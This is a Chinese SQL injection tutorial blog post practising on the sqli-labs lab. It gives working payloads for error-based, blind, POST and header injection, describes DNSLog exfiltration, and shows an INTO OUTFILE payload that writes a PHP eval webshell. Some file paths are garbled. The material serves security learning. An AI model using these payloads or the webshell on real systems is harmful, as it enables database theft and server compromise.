SQL注入2

本文详细介绍了SQL注入的常见方法,包括报错注入、XPath注入和盲注等,阐述了各种注入方式的原理及实践案例。同时,讨论了POST注入、HTTP头部注入以及DNSLog外带注入等复杂场景,并提及了SQL注入读写文件的潜在风险。通过对数据库名、表名、字段名及数据的猜解,展示了SQL注入的全过程。此外,还强调了如何利用Burp Suite等工具进行爆破测试和防御措施的重要性。

一、常见的注入方式:

报错注入:

  • 报错思路:
    使用各类函数使得数据库抛出异常或错误来获取数据的目的;

  • 常见的报错注入:

1、extractvalue()
2、floor()
3、updatexml()
4、exp()
5、geometrycollection()
6、multipoint()
7、polygon()
8、multipolygon()
9、linestring()
10、multilinestring()

  • 报错的原理:

1、BIGINT等数据类型的溢出
2、xpath语法错误
3、count()+rand()+group by()导致主键重复

  • 报错方式:

1、利用主键冲突:
count 加 group by 加 floor(rand(0)*2) 就会产生主键冲突(本质是floor(rand(0)*2)的重复性,导致group by 出错。)
*floor(rand(0)2)函数运行了5次,在再次插入主键1时,发生主键冲突

实践:
1、判断列数:

在这里插入图片描述
2、进行数据库名的爆出:

在这里插入图片描述

3、进行表名的爆出:

http://192.168.101.199/sqli-labs-master/Less-5/
?id=-1' union select 1,2,count(*) from information_schema.tables group by concat( 0x7e, floor(rand(0)*2), ( select concat(0x7e,table_name ) from information_schema.tables where table_schema=database() limit 1,1)   );
--+

在这里插入图片描述

4、进行字段的爆出:
在这里插入图片描述
在这里插入图片描述
5、进行信息的爆出:
在这里插入图片描述

在这里插入图片描述

2、xpath方式:
基本思路:在路径的地方写语句,保证语句不出错

extractvalue()实践:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

updatexml()实践:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

布尔盲注

  • 盲注:
    在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端,我们要使用特殊的方式进行判断或尝试,这个过程为盲注;

-大致流程:

求当前数据库长度以及名称的ASCLL
求当前数据库表的ASCLL
求当前数据库中表的个数
求当前数据库中一个表名的长度
求当前数据库中一个表名的ASCLL
求列的数量
求列名的长度
求列名的 ASCLL
求字段的数量
求字段内容的长度
求字段内容对应的ASCLL

  • 实践
    在这里插入图片描述

判断语句没错误
判断语句没有错误,然后在burp中进行库名的爆破
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

时间盲注

  • 相关函数:

sleep()
if(a,b,c)
ascii()/ord()
length()
substr()/substring()/mid()

  • 原理
    不能根据网页返回内容判断任何信息,用条件语句查看时间延迟语句是否执行 (页面返回时间是否增加)来判断是否存在注入;

  • 实践
    在这里插入图片描述
    在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

字段:

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

加粗样式
**

在这里插入图片描述

dnslog 外带注入

  • 原理:
    将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在dns服务器的dns日志显示出来;

  • 不管是布尔类型盲注还是时间盲注,都需要发送大量的数据包去判断数据,而这很可能会触发WAF的防护,因此导致被封IP。所以,如果条件允许,我们可以结合DNSlog来快速的回显数据。MySQL数据库,通过DNSlog盲注需要用到load_file()函数,该函数不仅能加载本地文件,同时也能对URL发起请求。因为需要使用load_file()函数,所以需要root权限,并且secure_file_ priv需要为空。

  • DNS原理:
    首先要一个可以配置的域名,然后通过代理商设置域名为自己的服务器A,然后在服务器A配置好DNS服务,这样所有的域名查询都会到服务器A上,此时就能进行域名查询请求了;DNS在解析的时候会留下日志,通过读取多级日志来获取信息;

实践:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

二、POST注入

  • post注入常见的功能点(只要是和数据库交互的地方皆有可能):

注册功能点
登录功能点
留言板
资料修改
资料删除

  • post注入时的方式:

1、利用hackbar类似的插件功能注入;
2、使用burp suite 的reprater重放模块

  • 实践
//猜解列数
uname=1'  order by 2  #
&passwd=admin&submit=Submit


//猜解数据库名
uname=1'  union select 1,(database() )  #
&passwd=admin&submit=Submit



//猜解表名
uname=1'  union select 1,(select group_concat(0x7e,table_name) from information_schema.tables where table_schema=database()  )  #
&passwd=admin&submit=Submit

//猜解字段名
uname=1'  union select 1,(select group_concat(0x5c,column_name) from information_schema.columns where table_schema=database() and table_name='users'  )  #
&passwd=admin&submit=Submit

//提取数据
uname=1'  union select  username ,password from  users limit 2,1#
&passwd=admin&submit=Submit

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

利用burp来进行爆破:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

referer注入

  • 在真实环境中有的注入点不仅仅只是在请求体中,也可能存在与其他字段上,也就是HTTP的头部注入;
  • http头注入:注入点在http请求头的某个字段中;
  • cookie型注入:HTTP请求的时候带上客户端的cookie,注入点存在cookie当中的某个字段中;
  • XFF注入:HTTP请求的xff字段中,通过修改xff头对带入系统的dns进行sql注入,通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或文件中,可以通过修改xff头伪造真实IP;可以利用来进行溯源
  • clien-ip:作用同xff;
  • user-agent注入:有点网站将客户端使用的操作系统或浏览器版本存入数据库;
  • referer注入:将客户端的referer存入数据库

SQL注入读写文件

在实际应用中,有时候可能由于一些需求,我们需要读取或者写入文件到目标服务器中,当然读写文件时需要有一定的权限才可以进行读取,常用的函数主要有以下两个:

  • into outfile:
  • 写shell:
    当权限为root且知道绝对路径时,可以直接写一句话木马到服务器,注意存在。
    ’ union select 1,"<?php @eval($_POST['×']);?>",3 into outfile “c:llphpstudylPHPTutorialWWWIx.php”,也可以查询null值。
http://192.168.101.199/sqli-labs-master/Less-1/
?id=1'  union select 1,2,'^<php? phpinfo(); ?>' into outfile "D:\\phpstudey\\PHPTutorial\\WWW1.php" --+
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值